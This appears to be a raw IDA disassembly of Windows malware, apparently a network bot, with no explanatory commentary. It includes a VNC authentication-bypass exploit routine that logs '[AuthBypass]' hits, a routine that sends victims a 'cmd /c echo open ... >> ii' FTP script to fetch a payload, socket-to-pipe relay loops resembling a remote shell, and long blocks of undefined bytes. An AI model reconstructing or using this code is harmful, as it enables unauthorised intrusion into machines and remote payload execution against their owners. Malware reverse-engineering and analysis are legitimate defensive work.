mov byte ptr [ebp-9Ah], 1
call sub_41C310
push 10h
lea eax, [ebp-84h]
push offset dword_432900
push eax
mov dword ptr [ebp-88h], 3
call sub_41C310
add esp, 24h
lea eax, [ebp-0BCh]
mov dword ptr [ebp-74h], 2
push ebx
push eax
lea eax, [ebp-0B8h]
push 48h
push eax
push dword ptr [ebp-4]
nop
call near ptr 2720000h
test eax, eax
jnz short loc_40DB35
loc_40DB27: ; CODE XREF: ___:0040DC01j
push dword ptr [ebp-4]
call near ptr 2690934h
nop
jmp loc_40DA51
; ---------------------------------------------------------------------------
loc_40DB35: ; CODE XREF: ___:0040DB25j
lea eax, [ebp-14h]
push ebx
push eax
lea eax, [ebp-60DCh]
push esi
push eax
push dword ptr [ebp-4]
nop
call near ptr 2730000h
push ebx
call sub_41D081
push eax
call sub_41B8D8
push 14h
lea eax, [ebp-70h]
push 41h
push eax
call sub_41B590
push 1Ch
lea eax, [ebp-30h]
push 41h
push eax
call sub_41B590
add esp, 20h
call sub_41B8E2
mov esi, [ebp+0Ch]
mov [ebp-70h], eax
mov [ebp-64h], edi
mov [ebp-68h], ebx
lea esi, [esi+esi*4]
mov [ebp-6Ch], edi
shl esi, 2
mov [ebp-60h], bx
cmp byte_4328A8[esi], bl
jz short loc_40DBAC
push 4
mov [ebp-24h], edi
mov [ebp-28h], ebx
mov [ebp-2Ch], edi
push offset dword_4CE37C
jmp short loc_40DBBF
; ---------------------------------------------------------------------------
loc_40DBAC: ; CODE XREF: ___:0040DB98j
push 2
mov [ebp-28h], ebx
pop eax
push 4
mov [ebp-24h], eax
mov [ebp-2Ch], eax
push (offset loc_4328F7+1)
loc_40DBBF: ; CODE XREF: ___:0040DBAAj
lea eax, [ebp-20h]
push eax
call sub_41C310
add esp, 0Ch
call sub_41B8E2
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp-30h], edx
call sub_41B8E2
cdq
idiv edi
mov eax, dword_43289C[esi]
mov [ebp-18h], ebx
push eax
mov [ebp+8], eax
inc edx
mov [ebp-1Ch], edx
call sub_41B4D5
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_40DB27
mov eax, [ebp+8]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_41B590
mov eax, [ebp+8]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_41B590
mov eax, dword_4328A4[esi]
push 7
add eax, edi
push offset dword_432890
push eax
mov [ebp+0Ch], eax
call sub_41C310
mov eax, [ebp+0Ch]
push 15Ch
add eax, 7
push offset dword_432730
push eax
call sub_41C310
mov eax, dword_4328A0[esi]
add esp, 30h
cmp byte_4328A8[esi], bl
mov [ebp+0Ch], eax
jz short loc_40DCB8
push 4
add eax, edi
push offset dword_4CE374
push eax
call sub_41C310
add dword ptr [ebp+0Ch], 0Ch
mov esi, offset dword_4328C0
mov eax, [ebp+0Ch]
push 4
add eax, edi
push esi
push eax
call sub_41C310
mov eax, [ebp+0Ch]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+0Ch], eax
call sub_41C310
mov eax, [ebp+0Ch]
push 4
add eax, 0Ch
push esi
push eax
call sub_41C310
add esp, 30h
jmp short loc_40DCE0
; ---------------------------------------------------------------------------
loc_40DCB8: ; CODE XREF: ___:0040DC69j
add eax, edi
mov dword ptr [ebp-8], 10h
mov [ebp+0Ch], eax
mov esi, offset dword_4328C0
loc_40DCC9: ; CODE XREF: ___:0040DCDEj
push 4
push esi
push dword ptr [ebp+0Ch]
call sub_41C310
add dword ptr [ebp+0Ch], 4
add esp, 0Ch
dec dword ptr [ebp-8]
jnz short loc_40DCC9
loc_40DCE0: ; CODE XREF: ___:0040DCB6j
mov eax, [ebp+8]
add eax, 42h
push eax
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40DD0B
push dword ptr [ebp-4]
nop
call near ptr 2690934h
push edi
call sub_41B0B1
pop ecx
jmp loc_40DA51
; ---------------------------------------------------------------------------
loc_40DD0B: ; CODE XREF: ___:0040DCF4j
mov eax, [ebp+8]
add eax, 42h
push eax
push ebx
push esi
call sub_41B590
lea eax, [ebp-70h]
push 14h
push eax
push esi
call sub_41C310
mov eax, [ebp+8]
mov [ebp-0Ch], ebx
mov [ebp-10h], eax
add esp, 10h
fild qword ptr [ebp-10h]
fmul flt_4276A4
fstp qword ptr [esp]
call sub_41C7BF
call sub_41C798
push dword ptr [ebp+8]
mov [esi+1Ch], eax
mov [esi+18h], ebx
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
call sub_41C310
mov eax, [ebp+8]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+0Ch], eax
jz short loc_40DD78
loc_40DD70: ; CODE XREF: ___:0040DD73j
inc eax
test al, 3
jnz short loc_40DD70
mov [ebp+0Ch], eax
loc_40DD78: ; CODE XREF: ___:0040DD6Ej
lea ecx, [ebp-30h]
push 1Ch
add eax, esi
push ecx
push eax
call sub_41C310
add dword ptr [ebp+0Ch], 1Ch
push edi
call sub_41B0B1
push 18h
lea eax, [ebp-48h]
push ebx
push eax
call sub_41B590
push 14h
lea eax, [ebp-5Ch]
push ebx
push eax
mov byte ptr [ebp-48h], 5
mov [ebp-47h], bl
mov [ebp-46h], bl
mov byte ptr [ebp-45h], 3
mov dword ptr [ebp-44h], 10h
mov [ebp-3Eh], bx
mov [ebp-3Ch], ebx
mov [ebp-34h], bx
mov word ptr [ebp-32h], 1Fh
call sub_41B590
add esp, 28h
push ebx
push ebx
push 1
push ebx
nop
call near ptr 27208D0h
mov [ebp-4Ch], eax
mov [ebp+0Bh], bl
mov [ebp-0Ch], ebx
loc_40DDE5: ; CODE XREF: ___:0040DE6Fj
cmp dword ptr [ebp-0Ch], 2
jge loc_40DE7A
push 1
push 10B8h
push dword ptr [ebp+0Ch]
inc dword ptr [ebp-0Ch]
push esi
lea esi, [ebp-48h]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push dword ptr [ebp-4]
rep movsd
call sub_40D8AE
add esp, 2Ch
test al, al
jz short loc_40DE77
cmp [ebp-4Ch], ebx
jz short loc_40DE69
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-60DCh]
push 2000h
push eax
push dword ptr [ebp-4]
call near ptr 2730000h
nop
test eax, eax
jnz short loc_40DE50
call near ptr 26B0857h
nop
cmp eax, 3E5h
jnz loc_40DA51
loc_40DE50: ; CODE XREF: ___:0040DE3Dj
push 3E8h
push dword ptr [ebp-4Ch]
nop
call near ptr 26C0000h
cmp eax, 102h
jnz short loc_40DE69
mov byte ptr [ebp+0Bh], 1
loc_40DE69: ; CODE XREF: ___:0040DE1Cj
; ___:0040DE63j
cmp [ebp+0Bh], bl
mov esi, [ebp-8]
jz loc_40DDE5
jmp short loc_40DE7A
; ---------------------------------------------------------------------------
loc_40DE77: ; CODE XREF: ___:0040DE17j
mov esi, [ebp-8]
loc_40DE7A: ; CODE XREF: ___:0040DDE9j
; ___:0040DE75j
push dword ptr [ebp-4]
mov edi, dword_427068
call edi
push esi
call sub_41B0B1
cmp [ebp-4Ch], ebx
pop ecx
jz short loc_40DE96
push dword ptr [ebp-4Ch]
call edi
loc_40DE96: ; CODE XREF: ___:0040DE8Fj
cmp [ebp+0Bh], bl
setnz al
loc_40DE9C: ; CODE XREF: ___:0040DA53j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 81h ;
db 0ECh ; ì
db 0A0h ;
db 5
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 33h ; 3
db 0F6h ; ö
db 6Ah ; j
db 10h
db 8Dh ;
db 45h ; E
db 0F0h ; ð
db 56h ; V
db 50h ; P
db 0E8h ; è
db 0D5h ; Õ
db 0D6h ; Ö
db 0
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 0Ch
db 8Dh ;
db 45h ; E
db 0Ch
db 66h ; f
db 0C7h ; Ç
db 45h ; E
db 0F0h ; ð
db 2
db 0
db 50h ; P
db 0E8h ; è
db 2Bh ; +
db 34h ; 4
db 6Ah ; j
db 71h ; q
db 90h ;
db 0FFh
db 0B5h ; µ
db 0C4h ; Ä
db 0
db 0
db 0
db 89h ; ‰
db 45h ; E
db 0F4h ; ô
db 90h ;
db 0E8h ; è
db 69h ; i
db 38h ; 8
db 6Ah ; j
db 71h ; q
db 56h ; V
db 6Ah ; j
db 1
db 6Ah ; j
db 2
db 66h ; f
db 89h ; ‰
db 45h ; E
db 0F2h ; ò
db 90h ;
db 0E8h ; è
db 36h ; 6
db 5Dh ; ]
db 6Ah ; j
db 71h ; q
db 8Bh ; ‹
db 0D8h ; Ø
db 83h ; ƒ
db 0FBh ; û
db 0FFh
db 74h ; t
db 7Ch ; |
db 8Dh ;
db 45h ; E
db 0F0h ; ð
db 6Ah ; j
db 10h
db 50h ; P
db 53h ; S
db 90h ;
db 0E8h ; è
db 5Dh ; ]
db 5Fh ; _
db 6Ah ; j
db 71h ; q
db 83h ; ƒ
db 0F8h ; ø
db 0FFh
db 74h ; t
db 6Ah ; j
db 0BFh ; ¿
db 0
db 4
db 0
db 0
db 56h ; V
db 8Bh ; ‹
db 35h ; 5
db 18h
db 72h ; r
db 42h ; B
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FAh ; ú
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; Ö
db 0B8h ; ¸
db 10h
db 91h ; ‘
db 42h ; B
db 0
db 50h ; P
db 50h ; P
db 0FFh
db 35h ; 5
db 90h ;
db 0B3h ; ³
db 4Ch ; L
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; è
db 0DFh ; ß
db 0CCh ; Ì
db 0FFh
db 0FFh
db 59h ; Y
db 50h ; P
db 68h ; h
db 48h ; H
db 29h ; )
db 43h ; C
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 68h ; h
db 90h ;
db 1
db 0
db 0
db 50h ; P
db 0E8h ; è
db 37h ; 7
db 0DAh ; Ú
db 0
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 1Ch
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 6Ah ; j
db 0
db 50h ; P
db 0E8h ; è
db 86h ; †
db 0D0h ; Ð
db 0
db 0
db 59h ; Y
db 50h ; P
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 50h ; P
db 53h ; S
db 90h ;
db 0E8h ; è
db 8Ah ; Š
db 3Bh ; ;
db 6Ah ; j
db 71h ; q
db 83h ; ƒ
db 0F8h ; ø
db 0FFh
db 75h ; u
db 4
db 33h ; 3
db 0C0h ; À
db 0EBh ; ë
db 17h
db 6Ah ; j
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FAh ; ú
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; Ö
db 53h ; S
db 90h ;
db 0E8h ; è
db 0E6h ; æ
db 3Ah ; :
db 6Ah ; j
db 71h ; q
db 6Ah ; j
db 1
db 58h ; X
db 5Fh ; _
db 5Eh ; ^
db 5Bh ; [
db 0C9h ; É
db 0C3h ; Ã
db 53h
dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h
dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh
dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh
dd 7D0h, 292F6FE8h, 83439002h, 0B87202FBh, 5F58016Ah
; ---------------------------------------------------------------------------
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DFE3 proc near ; CODE XREF: sub_40E0D1+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call near ptr 71AB12F8h
nop
push [ebp+arg_BC]
mov [ebp+var_C], eax
nop
call near ptr 71AB1746h
push esi
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40E0B1
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call near ptr 71AB3E5Dh
nop
cmp eax, 0FFFFFFFFh
jz short loc_40E0B1
mov edi, 400h
push esi
mov esi, dword_427218
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_429110
push eax
push eax
push dword_4CB390
push [ebp+arg_0]
call sub_40AC10
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41B980
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
jnz short loc_40E0B5
loc_40E0B1: ; CODE XREF: sub_40DFE3+50j
; sub_40DFE3+62j
xor eax, eax
jmp short loc_40E0CC
; ---------------------------------------------------------------------------
loc_40E0B5: ; CODE XREF: sub_40DFE3+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
nop
call near ptr 71AB1A6Dh
push 1
pop eax
loc_40E0CC: ; CODE XREF: sub_40DFE3+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40DFE3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E0D1 proc near ; CODE XREF: sub_40C125+1EAp
; DATA XREF: ___:off_431B04o
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CB694
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CB654
push 6
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40E143
lea eax, [ebp+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40E124
push esi
jmp short loc_40E13D
; ---------------------------------------------------------------------------
loc_40E124: ; CODE XREF: sub_40E0D1+4Ej
push 0
push 1213h
push offset dword_4329BC
push esi
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40E147
loc_40E13D: ; CODE XREF: sub_40E0D1+51j
nop
call near ptr 71AB1A6Dh
loc_40E143: ; CODE XREF: sub_40E0D1+3Cj
xor eax, eax
jmp short loc_40E189
; ---------------------------------------------------------------------------
loc_40E147: ; CODE XREF: sub_40E0D1+6Aj
nop
call near ptr 71AB1A6Dh
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DFE3
add esp, 0C0h
test eax, eax
jz short loc_40E186
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431B08[eax]
lea eax, dword_431B08[eax]
loc_40E186: ; CODE XREF: sub_40E0D1+9Ej
push 1
pop eax
loc_40E189: ; CODE XREF: sub_40E0D1+74j
pop edi
pop esi
leave
retn
sub_40E0D1 endp
; =============== S U B R O U T I N E =======================================
sub_40E18D proc near ; CODE XREF: ___:0040E27Bp
; ___:0040E2DDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40E195: ; CODE XREF: sub_40E18D+2Dj
test edi, edi
jle short loc_40E1C0
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4CB66C
test eax, eax
jz short loc_40E1BC
cmp eax, 0FFFFFFFFh
jz short loc_40E1BC
sub edi, eax
add esi, eax
jmp short loc_40E195
; ---------------------------------------------------------------------------
loc_40E1BC: ; CODE XREF: sub_40E18D+22j
; sub_40E18D+27j
xor eax, eax
jmp short loc_40E1C3
; ---------------------------------------------------------------------------
loc_40E1C0: ; CODE XREF: sub_40E18D+Aj
push 1
pop eax
loc_40E1C3: ; CODE XREF: sub_40E18D+31j
pop edi
pop esi
retn
sub_40E18D endp
; =============== S U B R O U T I N E =======================================
sub_40E1C6 proc near ; CODE XREF: ___:0040E2C7p
; ___:0040E2F4p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40E203
xor esi, esi
test edi, edi
jle short loc_40E1FD
loc_40E1D6: ; CODE XREF: sub_40E1C6+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jz short loc_40E203
test eax, eax
jz short loc_40E203
add esi, eax
cmp esi, edi
jl short loc_40E1D6
loc_40E1FD: ; CODE XREF: sub_40E1C6+Ej
push 1
pop eax
loc_40E200: ; CODE XREF: sub_40E1C6+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40E203: ; CODE XREF: sub_40E1C6+8j
; sub_40E1C6+2Bj ...
xor eax, eax
jmp short loc_40E200
sub_40E1C6 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_433C00
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4CB6D4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40E235
push eax
jmp short loc_40E269
; ---------------------------------------------------------------------------
loc_40E235: ; CODE XREF: ___:0040E230j
lea eax, [ebp+0Ch]
push eax
call dword_4CB694
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4CB654
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4CB5FC
cmp eax, 0FFFFFFFFh
jnz short loc_40E274
push ebx
loc_40E269: ; CODE XREF: ___:0040E233j
call dword_4CB6EC
jmp loc_40E46F
; ---------------------------------------------------------------------------
loc_40E274: ; CODE XREF: ___:0040E266j
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40E18D
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_41C645
add esp, 10h
cmp eax, esi
jnz loc_40E468
cmp dword ptr [ebp-28h], 3
jz short loc_40E2C0
cmp dword ptr [ebp-20h], 8
jnz loc_40E468
loc_40E2C0: ; CODE XREF: ___:0040E2B4j
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40E1C6
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40E18D
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40E1C6
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40E18D
add esp, 0Ch
test eax, eax
jz loc_40E468
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40E468
push 1
push offset dword_4CB50C
push ebx
call sub_40E1C6
add esp, 0Ch
test eax, eax
jz loc_40E468
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40E18D
add esp, 0Ch
test eax, eax
jz loc_40E468
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_41CFC5
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40E3F8
push edi
push esi
push ebx
call sub_40E18D
add esp, 0Ch
loc_40E3F8: ; CODE XREF: ___:0040E3EBj
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41B980
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409A73
lea eax, [ebp-24Ch]
push eax
call sub_4151AD
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431B08[eax]
push ebx
lea eax, dword_431B08[eax]
nop
call near ptr 71AB1A6Dh
push 1
pop eax
jmp short loc_40E471
; ---------------------------------------------------------------------------
loc_40E468: ; CODE XREF: ___:0040E285j
; ___:0040E2AAj ...
push ebx
nop
call near ptr 71AB1A6Dh
loc_40E46F: ; CODE XREF: ___:0040E26Fj
xor eax, eax
loc_40E471: ; CODE XREF: ___:0040E466j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40E47F: ; CODE XREF: ___:0040E49Bj
; ___:0040E4B7j
push 0
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CE394
call dword_4CB66C
test eax, eax
jle short loc_40E47F
lea ecx, [ebp-4]
push 0
push ecx
push eax
lea eax, [ebp-404h]
push eax
push dword_4CE390
nop
call near ptr 2720000h
jmp short loc_40E47F
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40E4C2: ; CODE XREF: ___:0040E4E8j
; ___:0040E502j
lea eax, [ebp-4]
and dword ptr [ebp-4], 0
push 0
push eax
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CE384
call near ptr 2730000h
nop
cmp dword ptr [ebp-4], 0
jle short loc_40E4C2
push 0
lea eax, [ebp-404h]
push dword ptr [ebp-4]
push eax
push dword_4CE394
call dword_4CB6A4
jmp short loc_40E4C2
; ---------------------------------------------------------------------------
dword_40E504 dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh
; DATA XREF: sub_401ACD+2D0Eo
dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
dd 59E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
dd 15FFFFFFh, 4CB654h, 6A56066Ah, 45896602h, 0D415FFCAh
dd 89004CB6h, 458D0845h, 50106AC8h, 0FF0875FFh, 4CB68015h
dd 0FF056A00h, 15FF0875h, 4CB67Ch, 70FC1D8Bh, 358B0042h
dd 427068h, 75FF5757h, 0E815FF08h, 0A3004CB6h, 4CE394h
dd 57F4458Dh, 0E3906850h, 8C68004Ch, 0C7004CE3h, 0CF445h
dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CE388h
dd 4CE38468h, 6AD3FF00h, 84458D44h, 0BDE85057h, 0A10000CFh
dd 4CE38Ch, 890CC483h, 88A1BC45h, 89004CE3h, 6A57C045h
dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
dd 7D896600h, 0CDE890B4h, 5002331Eh, 0E38835FFh, 0C1E8004Ch
dd 9002331Eh, 0E5E89050h, 8D023319h, 8D50D845h, 57508445h
dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433C0468h
dd 0E8905700h, 22825D4h, 50E8458Dh, 0B9685757h, 8D0040E4h
dd 5057F445h, 19AAE890h, 4589022Ah, 0E8458DECh, 68575750h
dd 40E476h, 57F4458Dh, 91E89050h, 6A022A19h, 0F04589FFh
dd 90D875FFh, 2B1983E8h, 75FF5702h, 2057E8F0h, 5790022Bh
dd 90EC75FFh, 2B204CE8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh
dd 0E8D875FFh, 23224A9h, 8C35FF90h, 0FF004CE3h, 9035FFD6h
dd 0FF004CE3h, 8435FFD6h, 0FF004CE3h, 8835FFD6h, 0FF004CE3h
dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
dd 0FFFE6800h, 680000h, 0E8000004h, 9F9Dh, 0E39CA359h
dd 0C359004Ch
dword_40E6F0 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh
; DATA XREF: sub_40BACE+34Do
dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
dd 6DE85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
dd 15FFFFFFh, 4CB654h, 26A5653h, 0EE458966h, 0FFF05D89h
dd 4CB6D415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h
dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
dd 0E8FFFFFFh, 0FFFFB2FFh, 8D14C483h, 0FFFD4085h, 2AE850FFh
dd 0FF00006Ah, 0FFFF54B5h, 0CC85E8FFh, 5959FFFFh, 69E89053h
dd 8B023018h, 0FFFF5485h, 69106AFFh, 234C0h, 9CB88900h
dd 8D0043E5h, 5750EC45h, 0B68015FFh, 0C63B004Ch, 400BBh
dd 0CF850F00h, 0FF000000h, 4CB5E815h, 27403D00h, 47740000h
dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB27Fh, 8D14C483h
dd 0FFFD4085h, 0AAE850FFh, 0FF000069h, 0FFFF54B5h, 0CC05E8FFh
dd 5959FFFFh, 0E9E89056h, 68023017h, 0FFFEh, 9E63E853h
dd 0A3590000h, 4CE39Ch, 45896659h, 0EC458DEEh, 5750106Ah
dd 0B68015FFh, 0C63B004Ch, 15FF5475h, 4CB5E8h, 7539F633h
dd 3D2775E4h, 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh
dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 4E8FFFFh, 83FFFFB2h
dd 858D14C4h, 0FFFFFD40h, 692FE850h, 0B5FF0000h, 0FFFFFF54h
dd 0FFCB8AE8h, 565959FFh, 176EE890h, 56A0230h, 7C15FF57h
dd 3B004CB6h, 0D4840FC6h, 0C7000000h, 10FC45h, 10BE0000h
dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CB6E815h
dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
dd 0FFB186E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 68B1h
dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
dd 4CB66Ch, 74FFF883h, 0FF565696h, 4CB39035h, 50B5FF00h
dd 0E8FFFFFFh, 0FFFFC2E4h, 0C685059h, 8D00433Ch, 0FFF94085h
dd 0E85053FFh, 0D040h, 8D1CC483h, 0FFF94085h, 50006AFFh
dd 0C68FE8h, 8D505900h, 0FFF94085h, 75FF50FFh, 0A415FF08h
dd 83004CB6h, 840FFFF8h, 0FFFFFF43h, 0E3A405FFh, 38E9004Ch
dd 57FFFFFFh, 0B6EC15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFCA8AE8h
dd 6A59FFh, 30166FE8h
db 2, 90h
word_40E992 dw 8B55h ; DATA XREF: sub_40BACE+22Ao
dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh
dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
dd 16850F6h, 89000001h, 5D89E45Dh, 0DC5D89D4h, 0FDD4B589h
dd 0B589FFFFh, 0FFFFFBC4h, 57F8E890h, 5356716Ah, 0E890026Ah
dd 716A5236h, 71F4358Bh, 4D8D0042h, 51046AE4h, 0FFFFBFh
dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AD4h, 8B57FB6Ah
